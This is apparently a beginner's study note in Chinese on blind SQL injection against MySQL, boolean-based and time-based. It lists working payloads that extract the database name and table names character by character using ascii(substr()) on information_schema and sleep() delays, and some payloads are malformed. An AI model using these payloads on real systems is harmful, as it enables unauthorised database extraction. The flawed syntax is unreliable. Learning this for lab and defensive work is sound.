大哥带我走渗透ii--时间盲注,布尔盲注
5/27
基于布尔的盲注
- 我连题目都看不懂555,先去补充一点知识。https://blog.csdn.net/weixin_40709439/article/details/81355856
- 返回的true或者false
- 构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;
- 后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句
- 接下来看看是否报
在这里我多加了一个‘ ,说明前面是一个完整的一对单引号;
4. 开始测试
- 第一步我们测试长度
构造语句:
...... and lenth((select database()))>5 #查询当前数据库字段的长度
.......错误,说明太长了。
大于3成立,小于4也成立,大于4不成立,所以length取3,但是实际的要加一,长度就是4;大于他就取他+1
5.利用substr()ascii()函数进行尝试,猜测数据库中的第一个表的第一个字符;
ascii(x)=101,判断x的ascii码是否等于101,即email中的字母e
substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101
这里,大于100成立,测试得出取115
SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115
6.我们继续测试其他字段,一共有4个;虽然组长哪里有答案,但是我还是自己测试了(最后一个除外),,emmmm练手??
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115 # 116 t
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),2,1))>100 # e
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),3,1))>114 # s
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),4,1))>115 # t
6.所以该数据库的名字为test,接下来我们判断数据库中有多少表
length((select table_name from information_schema.tables where table_schema='test' limit 0,1))>5
#
组长这里写的长度为4,但是我觉得应该是5;
7.构造爆表语句:
表一:
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>96
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),2,1))>???
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),3,1))>96
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),4,1))>96
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),5,1))>96
表二:
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 1,1),1,1))>96
username password
5/27 mysql注入 基于时间的盲注
1.基于时间盲注,类似于基于布尔的盲注,通过注入特定语句,根据判断结果的对错将会出现一定时间的网页请求响应的延时。
https://www.cnblogs.com/-zhong/p/10931563.html
2.and1=1 and1=2 都是一样的界面
https://blog.csdn.net/DarkHQ/article/details/79274376
3.检测语句:利用sleep()函数进行延时注入
and if(ascii(substr((select database()),1,1))>10000,1,sleep(5)) #返回是错误就延时5秒,if(a,b,c),如果条件b
4.开始猜长度,构造语句:
if(length((select database()))>3,1,sleep(5))
所以字段有4位,
5.接下来就开始爆表名。
构造语句:
- if(ascii(substr((select database()),1,1))=??,1,sleep(5),1)
- if(ascii(substr((select database()),2,1))=??,1,sleep(5),1)
- if(ascii(substr((select database()),3,1))=??,1,sleep(5),1)
- if(ascii(substr((select database()),4,1))=??,1,sleep(5),1)
这个就很不一样了,,睡代表真===
所以得到第一个字母:116 t
最后得出:test
6.开始构造第一个字母。
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>100,1,sleep(5))
后面是,爆完字段爆表名,报完表名爆表里面的单个字名,
===写不来了。。。看组长的===https://www.cnblogs.com/-zhong/p/10931563.html